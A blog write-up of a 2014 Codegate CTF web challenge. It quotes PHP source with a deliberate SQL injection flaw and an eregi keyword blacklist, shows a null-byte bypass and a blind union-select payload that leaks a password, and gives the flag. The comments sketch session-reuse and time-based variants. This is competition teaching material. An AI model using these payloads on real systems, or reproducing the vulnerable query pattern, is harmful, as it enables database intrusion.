Wednesday, February 26, 2014

Codegate CTF Preliminary 2014 - Web500 "120"

Introduction

"120" is the second web challenge from the Codegate CTF Preliminary 2014. 
It has been solved by 100 teams, but our team was the fastest.

The challenge contains two files: index.php and auth.php, where both are very similar:

Additionally, we are given the source code of index.php:

<?php
session_start();
$link = @mysql_connect('localhost''''');
@mysql_select_db(''$link);

function RandomString()
{
  $filename "smash.txt";
  $f fopen($filename"r");
  $len filesize($filename);
  $contents fread($f$len);
  $randstring '';
  while( strlen($randstring)<30 ){
    $t $contents[rand(0$len-1)];
    if(ctype_lower($t)){
    $randstring .= $t;
    }
  }
  return $randstring;
}
$max_times 120;

if ($_SESSION['cnt'] > $max_times){
  unset($_SESSION['cnt']);
}

if ( !isset($_SESSION['cnt'])){
  $_SESSION['cnt']=0;
  $_SESSION['password']=RandomString();

  $query "delete from rms_120_pw where ip='$_SERVER[REMOTE_ADDR]'";
  @mysql_query($query);

  $query "insert into rms_120_pw values('$_SERVER[REMOTE_ADDR]', '$_SESSION[password]')";
  @mysql_query($query);
}$left_count $max_times-$_SESSION['cnt'];$_SESSION['cnt']++;

if ( $_POST['password'] ){
  
  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

  $query "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";
  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }
}

@mysql_close($link);?>

Recon

We can see that the script is setting a random password for every 120 consecutive requests.
The password is linked to our unique IP address and stored in the MySQL database.
We are able to send password parameter via POST, which is tested on the blacklist:

  if (eregi("replace|load|information|union|select|from|where|limit|offset|order|by|ip|\.|#|-|/|\*",$_POST['password'])){
    @mysql_close($link);
    exit("Wrong access");
  }

Yes, this challenge is about SQL injection attack. Let's look at the vulnerable line:

  $query "select * from rms_120_pw where (ip='$_SERVER[REMOTE_ADDR]') and (password='$_POST[password]')";

It's impossible to alter $_SERVER[REMOTE_ADDR], but $_POST[password] is under our control!
Magic quotes were disabled on that server, so there was no problem to close a single quote.
Take a look at the rest of the code:

  $q = @mysql_query($query);
  $res = @mysql_fetch_array($q);
  if($res['ip']==$_SERVER['REMOTE_ADDR']){
    @mysql_close($link);
    exit("True");
  }
  else{
    @mysql_close($link);
    exit("False");
  }

Errors are stripped (@ before functions names), so our attack may be boolean blind injection based on True/False output.
Functions like sleep or benchmark are not on the blacklist, so we can also do time-based attack.

The second idea is more reasonable, because we have only 120 queries.

...is it?

eregi - old and bad

WAF is based on the eregi function. In the manual we can read:
Warning
This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.
Why is that? For example because eregi stops reading strings on the first null byte.
Remember that PHP allows us to send strings containing null bytes.
By setting first byte of password to null we can bypass eregi and use all forbidden words from the blacklist!

120? - just think out of the box

After every 120 requests new password linked to our IP address is generated.
So logical is that we have to get our password in 120 queries.

...is it?

Who said it must be our password? :)
We just can use our first IP address to get password linked to a second IP address we control.
For example:
1) Request index.php to generate new password and store it in the database. Use first IP to do it.
2) Do blind SQL injection attack to get password linked to the first IP. Use second IP to do it.
3) Login in auth.php and profit. Use first IP to do it.

Payload

The last missing thing is the payload. After bypassing the whole blacklist creating one is not difficult.

%00') union select if((select 1 from rms_120_pw where ip='$IP_with_static_password' and ord(mid(password,$i,1))>$guess limit 1),'$IP_with_exploit',0),2-- x

We can do fast binsearch boolean-based blind SQL injection using this.

Congrats!
After all we solved it in very fast and smart way :)
Congrats! the key is DontHeartMeBaby*$#@!

The challenge has been solved by Mawekl, member of the Dragon Sector.

2 comments:

  1. nice writeup! Another way to solve web500 #codegate@2014: Bypass 120 requests per session limit check (without code optimization). Idea is so simple, generate the list of reusable sessions (from same ip) and brute pwd of the last. http://pastebin.com/8f66dt7h

    ReplyDelete
  2. An other solution that recover the password in 30 requests only:

    The idea is to do a time based sql injection with a different delay for each letter:

    a-> wait 1 sec
    b-> wait 2 sec
    ...

    http://pastebin.com/wew16zT7

    TRL [Dulac]

    ReplyDelete